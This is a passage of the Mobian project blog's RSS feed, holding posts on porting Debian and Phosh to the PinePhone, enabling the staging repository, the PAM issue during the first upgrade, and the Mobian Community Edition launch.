Unfortunately, I quickly found out it wouldn&amp;rsquo;t be &lt;em&gt;that&lt;/em&gt; easy, as PureOS was
based on an old(ish) version of Debian, and had many backported and/or modified
packages. In the end, using PureOS repos on a Debian system would effectively
have resulted in a &lt;a href=&#34;https://wiki.debian.org/DontBreakDebian&#34;&gt;Frankendebian&lt;/a&gt; of
the worst kind.&lt;/p&gt;
&lt;p&gt;I could have used PureOS as my base system, and only add a small number of
packages on top of that, but my ultimate goal was running a &amp;ldquo;real&amp;rdquo; Debian on my
phone, including full access to the whole Debian archive. I then had to resort
to the option I tried to avoid: rebuilding the phosh ecosystem packages for
Debian.&lt;/p&gt;
&lt;p&gt;Actually, I had hoped that &lt;em&gt;someone&lt;/em&gt; would have done so, but it turned out there
was no such &lt;em&gt;someone&lt;/em&gt; back then (remember it was still the &lt;em&gt;BraveHeart&lt;/em&gt; days,
and PinePhones were only arriving into developers&amp;rsquo; hands). PureOS being based on
Debian, it only required minor adjustments to the existing packages to make them
build and run on a real Debian system. Purism really deserves credit here, for
developing Phosh and its ecosystem in the open, for using a Debian base for
their distro as it really lowered the amount of work needed to get everything
into Debian, and for doing their best at helping other distros.&lt;/p&gt;
&lt;p&gt;Finally, after only a few days with the PinePhone, hacking mostly between FOSDEM
talks and during the Brussels round-trip, I was able to boot my PinePhone into
Phosh using a custom Debian-based image. A small cleanup and a few improvements
later, I published the initial
&lt;a href=&#34;https://gitlab.com/a-wai/debos-pinephone/-/tree/eb78b6bb3e937182c6335f1d0b3476f3472ffdc5&#34;&gt;git repo&lt;/a&gt;
of what would become Mobian on February 4th, 2020.&lt;/p&gt;
&lt;p&gt;As you can see in the original
&lt;a href=&#34;https://gitlab.com/a-wai/debos-pinephone/-/blob/eb78b6bb3e937182c6335f1d0b3476f3472ffdc5/README.md&#34;&gt;README&lt;/a&gt;
file, there was much to do before reaching daily-driver status, but that&amp;rsquo;s a
story for another day ;)&lt;/p&gt;
&lt;p&gt;To be continued&amp;hellip;&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>2021-03-17 Status update</title>
      <link>https://blog.mobian.org/posts/2021/03/17/update-2021-03-17/</link>
      <pubDate>Wed, 17 Mar 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/03/17/update-2021-03-17/</guid>
      <description>&lt;p&gt;In the past few months, a whole lot has happened for Mobian: we launched, in
close cooperation with &lt;a href=&#34;https://www.pine64.org/&#34;&gt;Pine64&lt;/a&gt;, the &lt;a href=&#34;https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/&#34;&gt;Mobian Community
Edition PinePhone&lt;/a&gt;,
which by now should have reached the hands of almost all who ordered it. We went
through several iterations of our on-device installer and other strategic
packages, such as the kernel, and we&amp;rsquo;ve been busy improving both our packages
and infrastructure.&lt;/p&gt;
&lt;h2 id=&#34;mobian-ce-and-related-challenges&#34;&gt;Mobian CE and related challenges&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;re very grateful that Pine64 offered us the opportunity to put Mobian into
the hands of PinePhone owners as the factory default OS for the last batch of
&amp;ldquo;Community Edition&amp;rdquo; PinePhones. It drove us to work tirelessly in order to make
Mobian a great out-of-the-box experience, and prompted us to work hard on the
on-device installer and related improvements.&lt;/p&gt;
&lt;p&gt;Due to production constraints, the Mobian CE PinePhones shipped with version
&lt;code&gt;alpha2&lt;/code&gt; of the installer, which was built on December 2nd, 2020. These phones
started shipping more than 2 months later, and therefore couldn&amp;rsquo;t benefit from
several improvements we made in-between.&lt;/p&gt;
&lt;p&gt;While we did our best to make sure the initial upgrade went fine, we got bit by
an issue related to a &lt;code&gt;pam&lt;/code&gt; upgrade in upstream Debian which &lt;a href=&#34;https://blog.mobian.org/posts/2021/02/09/pam_issue/&#34;&gt;broke the screen
unlocking&lt;/a&gt;,
requiring special attention during the first system update.&lt;/p&gt;
&lt;p&gt;We also uncovered an issue where the &lt;code&gt;/boot&lt;/code&gt; partition would quickly be filled
due to a kernel version upgrade from 5.10 to 5.11 when full disk encryption was
enabled. This is due to the unusually large initramfs file size as it must carry
all software required for unlocking the device, including graphics drivers and
libraries. We mitigated this issue by forcing &lt;code&gt;zstd&lt;/code&gt; compression of the
initramfs and improving the initramfs generation to only include required
graphics drivers. However, major upgrades still require special attention as the
&lt;code&gt;/boot&lt;/code&gt; partition is still a bit small and could easily be filled.&lt;/p&gt;
&lt;p&gt;We increased the size of this partition on all the recently generated images, so
if you want permanent peace of mind, we suggest you flash your PinePhone with
the latest reference image or installer.&lt;/p&gt;
&lt;h2 id=&#34;modem-and-hardware-support-improvements&#34;&gt;Modem and hardware support improvements&lt;/h2&gt;
&lt;p&gt;During these past few months, we greatly improved &lt;code&gt;eg25-manager&lt;/code&gt;, including
valuable contributions from &lt;a href=&#34;http://postmarketos.org/&#34;&gt;postmarketOS&lt;/a&gt;,
&lt;a href=&#34;https://www.ubports.com&#34;&gt;UBports&lt;/a&gt; and &lt;a href=&#34;https://www.plasma-mobile.org/&#34;&gt;Plasma
Mobile&lt;/a&gt; developers. It is now more stable and
can recover more easily from unusual situations. Another great improvement is
you can now use custom command sequences for modem configuration, suspend and
resume: all of those are now stored in configuration files users can edit and
override without having to recompile the whole software.&lt;/p&gt;
&lt;p&gt;We also published a 5.11 kernel which isn&amp;rsquo;t the default yet, but can be
installed with &lt;code&gt;apt install linux-image-5.11-sunxi64&lt;/code&gt;. This kernel vastly
improves charging support using USB PD, and is confirmed to work just fine with
the &lt;a href=&#34;https://www.pine64.org/pinepowerdesktop/&#34;&gt;PinePower Desktop&lt;/a&gt;&amp;rsquo;s USB-C port.&lt;/p&gt;
&lt;h2 id=&#34;debian-bullseye-freeze-and-mobian&#34;&gt;Debian bullseye freeze and Mobian&lt;/h2&gt;
&lt;p&gt;Debian bullseye went through several stages of its freeze process, starting
January 12th. This reduced the flow of updates a bit, and Mobian&amp;rsquo;s base system
won&amp;rsquo;t evolve much in the coming weeks. The current Mobian repository will keep
tracking bullseye, meaning our packages will only get selective updates from now
on, and require extra care to not break anything.&lt;/p&gt;
&lt;p&gt;Once bullseye is released, the current Mobian version will then be considered
&amp;ldquo;stable&amp;rdquo;. This won&amp;rsquo;t mean all bugs have been fixed, but rather that updates will
likely never break your system.&lt;/p&gt;
&lt;p&gt;This also means some packages won&amp;rsquo;t be updated anymore when they start requiring
upgrades of important underlying libraries. One good example is phoc, which for
now builds against version 0.11 of &lt;code&gt;wlroots&lt;/code&gt;, but will evolve in the future to
only support more recent versions of &lt;code&gt;wlroots&lt;/code&gt;. When that happens, we won&amp;rsquo;t be
able to upgrade phoc anymore in the current repository.&lt;/p&gt;
&lt;p&gt;As Mobian is still heavily a work-in-progress, we don&amp;rsquo;t want to stop the flow of
fixes and improvements though, which is why we created the
&lt;a href=&#34;https://blog.mobian.org/posts/2021/03/15/unstable-distro/&#34;&gt;staging&lt;/a&gt;
repository. All package updates now go into &lt;code&gt;staging&lt;/code&gt; first, and are manually
migrated to the bullseye archive after a few days of testing. This will
participate in bringing you more reliable system upgrades.&lt;/p&gt;
&lt;h2 id=&#34;improved-on-device-installer-and-new-images&#34;&gt;Improved on-device installer and new images&lt;/h2&gt;
&lt;p&gt;The installer has also seen a lot of work, and now includes the ability to
flash the installer to an SD card, boot from the card, and install Mobian to the
internal eMMC. It also allows you to select the root partition filesystem, with
a choice of ext4 or F2FS (which has been, by the way, the default filesystem
for nightly images for the last month).&lt;/p&gt;
&lt;p&gt;We are therefore releasing a
&lt;a href=&#34;https://images.mobian.org/pinephone/installer/&#34;&gt;new version&lt;/a&gt; of the
installer today, which includes all the latest improvements to both the
installer itself and the base image.&lt;/p&gt;
&lt;p&gt;A new reference image for the PinePhone is also available
&lt;a href=&#34;https://images.mobian.org/pinephone/&#34;&gt;for download&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And as usual, we don&amp;rsquo;t forget the PineTab, which also has its own new
&lt;a href=&#34;https://images.mobian.org/pinetab/installer/&#34;&gt;installer&lt;/a&gt; and
&lt;a href=&#34;https://images.mobian.org/pinetab/&#34;&gt;reference images&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy :)&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>The staging Mobian distro</title>
      <link>https://blog.mobian.org/posts/2021/03/15/unstable-distro/</link>
      <pubDate>Mon, 15 Mar 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/03/15/unstable-distro/</guid>
      <description>&lt;p&gt;Most of us just want their phone to be working. But &lt;strong&gt;some&lt;/strong&gt; like to be
more on the edge of things, trying out the newest &lt;del&gt;bugs&lt;/del&gt;features. The
recently announced staging distribution allows users to do just
that. Read further to learn its purpose and how to enable
it.&lt;/p&gt;
&lt;p&gt;Mobian is an overlay over the regular Debian &lt;em&gt;bullseye&lt;/em&gt;
repository. Its package source is configured in
&lt;code&gt;/etc/apt/sources.list&lt;/code&gt; with a single line: &lt;code&gt;deb http://deb.debian.org/debian bullseye main&lt;/code&gt;. &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Currently the (relatively) stable Mobian overlay is configured in
&lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt; containing the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;deb http://repo.mobian.org/ bullseye main non-free
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you had flashed your device with an image older than April 26th, 2021, you
may have a file named &lt;code&gt;/etc/apt/sources.list.d/extrepo_mobian.sources&lt;/code&gt; instead,
containing the following:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Types: deb
Architectures: amd64 arm64 armhf
Uris: http://repo.mobian.org/
Suites: mobian
Components: main non-free
Signed-By: /var/lib/extrepo/keys/mobian.asc
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Recently we introduced &lt;strong&gt;Mobian staging&lt;/strong&gt;, in which we include
packages that are pretty new and/or might need a bit more
testing. Mobian staging is a full Mobian repository, so it includes
everything that the &amp;ldquo;normal&amp;rdquo; repository includes and a bit more (and
some packages a bit newer).&lt;/p&gt;
&lt;p&gt;By switching to it, you agree to name your firstborn &lt;em&gt;Debian&lt;/em&gt;
and to never eat cookies again after 3pm! So think twice before you do
it!&lt;/p&gt;
&lt;p&gt;The easiest way you can switch to using this repository is by simply
changing the word &lt;code&gt;bullseye&lt;/code&gt; to &lt;code&gt;staging&lt;/code&gt; in &lt;code&gt;/etc/apt/sources.list.d/mobian.list&lt;/code&gt;,
or the line &lt;code&gt;Suites: mobian&lt;/code&gt; to &lt;code&gt;Suites: staging&lt;/code&gt; in
&lt;code&gt;/etc/apt/sources.list.d/extrepo_mobian.sources&lt;/code&gt;. This way,
you will be getting all your Mobian packages from
&lt;code&gt;https://repo.mobian.org/dists/staging&lt;/code&gt; instead of
&lt;code&gt;https://repo.mobian.org/dists/mobian&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Some of the packages you install will be from the staging Mobian repo
and most will be coming directly and unmodified from one of the Debian
mirrors.&lt;/p&gt;
&lt;h3 id=&#34;how-do-i-find-out-if-a-package-comes-from-debian-or-mobian&#34;&gt;How do I find out if a package comes from Debian or Mobian?&lt;/h3&gt;
&lt;p&gt;Great question! Issue a &lt;code&gt;apt policy PACKAGENAME&lt;/code&gt; to find possible
sources and priorities of packages. (this will be even more useful
when we talk about pinning of packages in a future blog post). For
instance, at this time &lt;code&gt;apt policy phosh&lt;/code&gt; yields:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;phosh:
Installed: 0.9.0-1mobian1
Candidate: 0.9.0-1mobian1
Version table:
 0.9.0-1mobian1 700
     700 http://repo.mobian.org staging/main arm64 Packages
     100 /var/lib/dpkg/status
 0.8.1-1mobian1 700
     700 http://repo.mobian.org mobian/main arm64 Packages
 0.8.0-1 500
     500 http://deb.debian.org/debian bullseye/main arm64 Packages
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, as an explanation: In this case phosh is available through Debian,
mobian or (mobian) staging. And given the priorities (those 700 and
500 numbers), it prefers the mobian ones over the Debian one. And it
prefers higher version numbers given the same priority, so it will
pick the one from the staging repo.&lt;/p&gt;
&lt;p&gt;If you want to learn more about priorities and how apt decides what to
install, check &lt;a href=&#34;https://wiki.debian.org/AptConfiguration#apt_preferences_.28APT_pinning.29&#34;&gt;the debian wiki
page&lt;/a&gt;
on that topic.&lt;/p&gt;
&lt;h3 id=&#34;so-how-is-mobian-staging-different-from-debian-unstable&#34;&gt;So how is Mobian staging different from Debian unstable?&lt;/h3&gt;
&lt;p&gt;For now, Mobian staging is &lt;strong&gt;still&lt;/strong&gt; an overlay over Debian bullseye,
although this might change in a not-so-distant future. So do
not start including the Debian unstable (aka &lt;em&gt;sid&lt;/em&gt;) repository,
thinking this is what you should be doing. If you include sid
repositories, you have finally voided your warranty, as far as support
from the Mobian side goes&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;will-changes-in-mobian-staging-transition-to-the-stable-mobian&#34;&gt;Will changes in Mobian staging transition to the stable Mobian&lt;/h3&gt;
&lt;p&gt;If those changes turn out to be bad no, if yes, they will. Currently
there is no automatic transitioning of packages entering staging to
the stable version. It will need to be done by hand. The plan is to
turn on automatic transitioning at some point in the future though.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Don&amp;rsquo;t worry about the seemingly insecure &lt;strong&gt;http&lt;/strong&gt; in
there. All Debian/Mobian packages are signed and that signature is
checked upon installation. As any meddling would be detected by
that, the transport of the packages can be insecure. Using http
allows better caching of packages &amp;ldquo;on the way&amp;rdquo; than using https.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>What is Mobian?</title>
      <link>https://blog.mobian.org/posts/2021/02/18/what_is_mobian/</link>
      <pubDate>Thu, 18 Feb 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/02/18/what_is_mobian/</guid>
      <description>&lt;p&gt;Now that the Mobian CE is being sold, and Mobian becomes more popular,
we are often asked in the support channel, &amp;ldquo;&lt;strong&gt;what and who is
Mobian?&lt;/strong&gt;&amp;rdquo; In the midst of action, we don&amp;rsquo;t reflect upon this subject
very often, but it is worth contemplating and summarizing.&lt;/p&gt;
&lt;h2 id=&#34;what-is-mobian&#34;&gt;What is Mobian?&lt;/h2&gt;
&lt;p&gt;Mobian aims to integrate the standard &lt;a href=&#34;https://www.debian.org&#34;&gt;Debian&lt;/a&gt;
distribution with Phone-specific projects and modifications in a
distribution that works on certain mobile phones and tablets, such as
the Pinephone, the Pinetab and the Librem 5. The idea is to minimize
the Mobian specific pieces by “upstreaming” changes to the original
projects as much as possible.&lt;/p&gt;
&lt;p&gt;To achieve this, we tread a delicate balance between carrying
customized patches and packages that are required to make Mobian run
well on its supported devices, while trying to push as many of these
changes into upstream Debian. You could think of Mobian as a &lt;a href=&#34;https://www.debian.org/blends/&#34;&gt;Debian
Pure Blend&lt;/a&gt;, and indeed we aim at
becoming one at some point in time.&lt;/p&gt;
&lt;p&gt;For the time being, we are focused on the same software stack that
Purism uses for the Librem5, that is, wayland-ish, gnome-ish, modem
manager-ish. Being based on the Phosh environment facilitates that,
but of course it is perfectly possible to run Qt-based software. We
have nothing against KDE and the plasma shell, and are contemplating
whether, when and how we can support that too, but for the time being
creating a single working GUI is enough of a challenge.&lt;/p&gt;
&lt;h2 id=&#34;who-is-mobian&#34;&gt;Who is Mobian?&lt;/h2&gt;
&lt;p&gt;It was founded by &lt;em&gt;a-wai&lt;/em&gt; in order to make Debian running nicely on
the Pinephone. Mobian&amp;rsquo;s public outing occured on 14 May 2020 when
Mobian was announced in &lt;a href=&#34;https://forum.pine64.org/showthread.php?tid=9850&#34;&gt;this
thread&lt;/a&gt; in the
PINE64.org forum.&lt;/p&gt;
&lt;p&gt;a-wai is the founder and leader of the project. That having said, he
has proven to be listening and acting upon the opinions of his fellow
volunteers&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. These volunteers are a loose and informal
collection of people that have nagged @a-wai long enough until he
invited them into the (not so secret) developers room, where they
conspire to achieve world domination. All developers are unpaid
volunteers, enthusiastic, nice &amp;amp; friendly&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;We are not associated with a single nation, company or timezone&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;h3 id=&#34;how-much-are-you-earning-with-mobian&#34;&gt;How much are you earning with Mobian?&lt;/h3&gt;
&lt;p&gt;If you &lt;a href=&#34;https://liberapay.com/mobian&#34;&gt;donate&lt;/a&gt; to Mobian via liberapay,
you&amp;rsquo;ll see on that page what the project currently receives. Of the
sold Mobian CE phones, &lt;a href=&#34;https://pine64.com&#34;&gt;PINE64&lt;/a&gt; donates us 10$ per
phone (indeed: WOW! and THX!). We are also grateful to being able to
use the services of gitlab and salsa.debian.org.&lt;/p&gt;
&lt;p&gt;The money is being used to pay for our web hosting (server and bandwidth)
and hardware we need for development purpose (new devices, build machines,
useful accessories&amp;hellip;). Part of the user donations also cover some of the
beer expenses of our developers so they don&amp;rsquo;t have to fight thirst while
coding. In the future, we might use also some of those funds to sponsor
needy developers with a device to enable hacking (don&amp;rsquo;t start asking us
for free devices for now, thank you).&lt;/p&gt;
&lt;h3 id=&#34;how-to-help-us&#34;&gt;How to help us&lt;/h3&gt;
&lt;p&gt;Use it, improve it, both the software and the documentation. As we
depend upon software in the Debian ecosystem, you don&amp;rsquo;t even need to
have supported hardware to make an app suitable for small screens, or
implement a feature or application that is need to make the experience
smoother.&lt;/p&gt;
&lt;h3 id=&#34;standing-on-the-shoulders-of-&#34;&gt;Standing on the shoulders of &amp;hellip;&lt;/h3&gt;
&lt;p&gt;We would not be where we are without the Debian ecosystem or
&lt;a href=&#34;https://puri.sm&#34;&gt;Purism&lt;/a&gt; and their pioneering efforts to make Linux
usable on phones. We are also grateful to PINE64 for selling a &lt;a href=&#34;https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/&#34;&gt;Mobian
community edition&lt;/a&gt; which
allowed us to place the Debian swirl onto people&amp;rsquo;s phones, and for donating
per sold community edition device to the Mobian project.  We are also
grateful to &lt;a href=&#34;https://postmarketos.org/&#34;&gt;PostmarketOS&lt;/a&gt; for a number of
userspace programs and last but not least all the kernel hackers
(Ondrej Jirman aka megous and Samuel Holland) hacking away and
improving hardware support.&lt;/p&gt;
&lt;h3 id=&#34;project-faq&#34;&gt;Project FAQ&lt;/h3&gt;
&lt;h5 id=&#34;what-is-your-code-of-conduct-what-is-your-privacy-policy-what-is-your&#34;&gt;What is your code of conduct, what is your privacy policy, what is your&amp;hellip;&lt;/h5&gt;
&lt;p&gt;Given that we are closely aligned with the Debian project, have a look
at their &lt;a href=&#34;https://www.debian.org/code_of_conduct&#34;&gt;code of conduct&lt;/a&gt;,
contribution guidelines, etc and you get a pretty good picture.&lt;/p&gt;
&lt;h5 id=&#34;but-is-android-not-already-linux-on-mobile&#34;&gt;But is Android not already Linux on mobile?&lt;/h5&gt;
&lt;p&gt;We could answer this question. However, it would not be printable on
the public Interwebs, so you won&amp;rsquo;t find the answer in this post.&lt;/p&gt;
&lt;h5 id=&#34;can-i-pay--to-implement-feature-x&#34;&gt;Can I pay £|$|€|&amp;hellip; to implement feature &amp;ldquo;X&amp;rdquo;?&lt;/h5&gt;
&lt;p&gt;Do hire or donate to someone to implement &lt;em&gt;X&lt;/em&gt; directly instead of
channeling money through us. It might help to ask beforehand whether
we (or Debian) would like to have feature &lt;em&gt;X&lt;/em&gt;, though.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;@a-wai has not written this sentence. He has not been asked
and will not be asked whether he would support that statement :-).&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Please treat them in a manner they remain so.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;No, we are not part of the &lt;a href=&#34;https://en.wikipedia.org/wiki/Eastern_Standard_Tribe&#34;&gt;Eastern Standard Tribe&lt;/a&gt;).&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Issues and hurdles when performing the initial upgrade</title>
      <link>https://blog.mobian.org/posts/2021/02/09/pam_issue/</link>
      <pubDate>Tue, 09 Feb 2021 13:53:19 +0100</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/02/09/pam_issue/</guid>
      <description>&lt;p&gt;Dear Mobian CE owners, congratulations on receiving your mobile
phone. We hope you will like Mobian and we hope that you will be helping
us to make it even better.&lt;/p&gt;
&lt;p&gt;We are writing this post as the initial upgrade is rather tricky and
there are a few pitfalls when performing it. We do know that real men and
women don&amp;rsquo;t read manuals, but please read this post carefully in order to
not lock yourself permanently out of your phone (just an example of what
can happen if you don&amp;rsquo;t read this&amp;hellip;).&lt;/p&gt;
&lt;p&gt;Most importantly, we want to inform you, that there is a minor issue
with PAM (pluggable authentication module) when upgrading the preflashed
image. It was upgraded in an incompatible manner, and when the
lockscreen of your phone is invoked after upgrading but before
rebooting, it will not accept your PIN anymore (fortunately in &lt;strong&gt;most&lt;/strong&gt;
cases, a simple reboot makes it work again).&lt;/p&gt;
&lt;p&gt;So do not worry, your installation is not broken!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Therefore: After upgrading your pinephone for the first time it is
highly recommended to reboot the device after the upgrade has
finished. And keeping the screen unlocked during the initial upgrade
by:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;touching the screen frequently (get used to the feeling :-)) or&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;temporarily disabling the automatic lockscreen in the settings.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Otherwise you run the risk of not being able to unlock your device
once the screen has been locked.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The second major issue during the initial upgrade is related to the graphical
software updater, called &amp;ldquo;Software&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;Software&lt;/em&gt; application can usually keep the software on your
pinephone up-to-date and will prompt you to reboot after an update. On the
initial update with currently more than 600 package changes compared to
the factory image, it chokes and struggles, though.&lt;/p&gt;
&lt;p&gt;You will get some mysterious &amp;ldquo;Cannot update due to unmet dependencies&amp;rdquo;
error in the software app if you try. So for the initial update, we
recommend performing a manual update in the terminal (a great way to
familiarize yourself with the terminal and Debian&amp;rsquo;s package manager called apt).&lt;/p&gt;
&lt;p&gt;For this drop into the terminal &lt;em&gt;King&amp;rsquo;s Cross&lt;/em&gt; (also called &lt;strong&gt;kgx&lt;/strong&gt;, it
has a subway logo). On the terminal issue:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt update
sudo apt dist-upgrade

sudo apt autoremove
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;sudo will require you to enter your PIN to allow you to perform
administrative tasks.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;apt dist-upgrade&lt;/code&gt; will be required instead of the common &lt;code&gt;apt upgrade&lt;/code&gt; as it needs to remove a few packages that have been
superseded or obsoleted, and a regular &amp;ldquo;upgrade&amp;rdquo; will refuse to do
that.&lt;/p&gt;
&lt;p&gt;(The autoremove command is not necessary, strictly speaking, but it
cleans out unneeded packages after the upgrade, you can easily run it
after a reboot too, at any time).&lt;/p&gt;
&lt;p&gt;Again, due to the aforementioned PAM issue (it basically prevents the lock
screen from accepting your password), try to keep your screen awake
while the dist-upgrade is running in order to prevent locking yourself
out (this should only be needed on this very first upgrade). And reboot
immediately after the upgrade finished.&lt;/p&gt;
&lt;p&gt;We are sorry for these inconveniences which are due to the fast pace of
development while your phone was being manufactured and shipped.&lt;/p&gt;
&lt;h2 id=&#34;other-warts-and-hurdles-to-consider&#34;&gt;Other warts and hurdles to consider&lt;/h2&gt;
&lt;h3 id=&#34;wifi-with-multiple-aps&#34;&gt;Wifi with multiple APs&lt;/h3&gt;
&lt;p&gt;Also note that the factory image with kernel 5.9 still has a problem
when there are multiples WIFI access points providing the same network
(SSID). This has improved in the current kernel version 5.10, but you
might experience instabilities in this situation until you have fully
updated.&lt;/p&gt;
&lt;h3 id=&#34;copious-amounts-of-data-downloaded&#34;&gt;Copious amounts of data downloaded&lt;/h3&gt;
&lt;p&gt;During the initial update, your pinephone wants to download 536 MB of
data (as of this writing), so make sure you are not on metered mobile
data connection or paying by the megabyte.&lt;/p&gt;
&lt;h3 id=&#34;update-tip-power-to-the-phone&#34;&gt;Update tip: Power to the phone&lt;/h3&gt;
&lt;p&gt;Plug into power while updating to avoid your phone from going to sleep
while it updates (by default it is set to go into deep sleep only) when
running off the battery.&lt;/p&gt;
&lt;h3 id=&#34;update-tip-ssh-for-those-who-know-what-they-do&#34;&gt;Update tip: ssh for those who know what they do&lt;/h3&gt;
&lt;p&gt;If typing on the phone terminal sounds like pain, and you are familiar
with ssh, you can install the ssh server by issueing &lt;code&gt;sudo apt install openssh-server&lt;/code&gt; and then connecting to &amp;ldquo;ssh mobian@YOURPINEPHONEIP&amp;rdquo; to
access your phone from any other computer. (connect over Wifi or USB
cable to a computer) Access via ssh has the additional benefit that
the phone lockscreen will not bother you, as the ssh access remains
active even when the lock screen is invoked.&lt;/p&gt;
&lt;h2 id=&#34;troubleshooting&#34;&gt;Troubleshooting&lt;/h2&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.mobian.org/images/dontpanic.jpg&#34; alt=&#34;DONT PANIC&#34;&gt;&lt;/p&gt;
&lt;p&gt;In case of fire, emergency and bricked phones:&lt;/p&gt;
&lt;p&gt;You can always download a new image and reinstall the thing if you
really really locked yourself out. Pinephones are really hard to
permanently brick. The &lt;a href=&#34;https://wiki.mobian.org/doku.php?id=install&#34;&gt;installation
instructions&lt;/a&gt;, and
the matrix channel &lt;a href=&#34;https://matrix.to/#/#mobian:matrix.org&#34;&gt;#mobian:matrix.org&lt;/a&gt; are your friends.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Announcing the PinePhone Mobian Community Edition</title>
      <link>https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/</link>
      <pubDate>Fri, 15 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2021/01/15/mobian-community-edition/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://blog.mobian.org/images/mobian-ce-header.jpg&#34; alt=&#34;Mobian Community Edition&#34;&gt;&lt;/p&gt;
&lt;p&gt;We are absolutely thrilled to announce that &lt;a href=&#34;https://www.pine64.org&#34;&gt;Pine64&lt;/a&gt;
is releasing a Mobian Community Edition of the
&lt;a href=&#34;https://www.pine64.org/pinephone/&#34;&gt;PinePhone&lt;/a&gt;! This is a major milestone for
our project, which started less than a year ago as a way to bring Debian to this
exact mobile device!&lt;/p&gt;
&lt;h1 id=&#34;a-debian-computer-in-your-pocket&#34;&gt;A Debian computer in your pocket&lt;/h1&gt;
&lt;p&gt;The PinePhone is basically a handheld computer with 4G connectivity. With
&lt;a href=&#34;https://www.mobian.org/&#34;&gt;Mobian&lt;/a&gt;, this (truly smart) phone comes with
a distribution tons of &lt;a href=&#34;https://www.debian.org&#34;&gt;Debian&lt;/a&gt; users are already
familiar with, optimized for the PinePhone while still giving them access to the
50,000+ packages already in the Debian archive.&lt;/p&gt;
&lt;p&gt;Mobian ships with &lt;a href=&#34;https://puri.sm/posts/phosh-overview/&#34;&gt;Phosh&lt;/a&gt;, a
mobile-oriented desktop environment based on &lt;a href=&#34;https://www.gnome.org/&#34;&gt;GNOME&lt;/a&gt;
technology, initially developed by &lt;a href=&#34;https://puri.sm/&#34;&gt;Purism&lt;/a&gt; for their
&lt;a href=&#34;https://puri.sm/products/librem-5/&#34;&gt;Librem 5&lt;/a&gt; smartphone. Default applications
have been selected for their usability on a phone-size display wherever
